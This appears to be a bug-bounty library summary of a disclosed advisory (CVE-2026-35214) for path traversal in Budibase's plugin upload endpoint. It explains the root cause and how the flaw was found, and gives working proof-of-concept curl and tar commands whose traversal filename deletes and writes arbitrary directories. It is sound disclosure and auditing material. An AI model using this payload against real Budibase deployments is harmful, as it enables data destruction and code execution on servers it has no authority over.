# Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write

Budibase plugin upload passed unsanitized multipart filename to createTempFolder, letting a Global Builder traverse out of /tmp/.budibase to recursively delete and write arbitrary directories.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: bugbunny-research
- Disclosed: 2026-04-04
- CVE: CVE-2026-35214
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2wfh-rcwf-wh23
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2wfh-rcwf-wh23
- Tags: area:web domain:web impact:dos impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:file-upload vuln:path-traversal

**Target:** POST /api/plugin/upload multipart file upload endpoint (Node.js/Koa)
**Root cause:** fileUpload() strips only the .tar.gz suffix from the attacker-controlled Content-Disposition filename and passes it to createTempFolder(), which path.join()s it with /tmp/.budibase; ../ sequences resolve outside the temp dir before rmSync/mkdirSync/extractTarball run.
**Steps:**
1. Authenticate as Global Builder and obtain a session cookie.
2. Build a tarball: `mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt && tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .`
3. Send `curl -X POST 'http://localhost:10000/api/plugin/upload' -H 'Cookie: <global_builder_session_cookie>' -F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"`
4. Server resolves `path.join("/tmp/.budibase", "../../tmp/pwned")` to `/tmp/pwned`, runs `rmSync` recursive, `mkdirSync`, then extracts the tarball there.
5. Verify with `ls /tmp/pwned/test.txt`.
**How found:** Code review of the plugin upload controller: noticed file.name flows unsanitized into createTempFolder, then compared against sibling callers (downloadUnzipTarball, objectStore) that use server-generated random/UUID names and the existing sanitizeKey(), confirming this was the only caller passing user input.
**Exploitation:** A single crafted multipart request with a traversal filename causes recursive deletion of the resolved target directory, recreation of it, and extraction of the attacker's tarball into that path — arbitrary file write/delete as the Node process user; in root-run containers this can overwrite startup scripts for code execution on restart.
**Escalation:** Overwriting application code or startup scripts in root-run containerized deployments to gain RCE on restart; deleting data directories for DoS.
**Insight:** When a helper like createTempFolder does destructive rmSync/mkdirSync, audit every caller for user-controlled names; grep for the temp-dir helper and diff callers that generate names server-side against those that forward request data.

## Proof of concept (copied exactly from the original report)

**Curl upload with traversal filename**

```
curl -X POST 'http://localhost:10000/api/plugin/upload' \
  -H 'Cookie: <global_builder_session_cookie>' \
  -F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"
```

**Tarball creation for PoC**

```
mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt
tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .
```

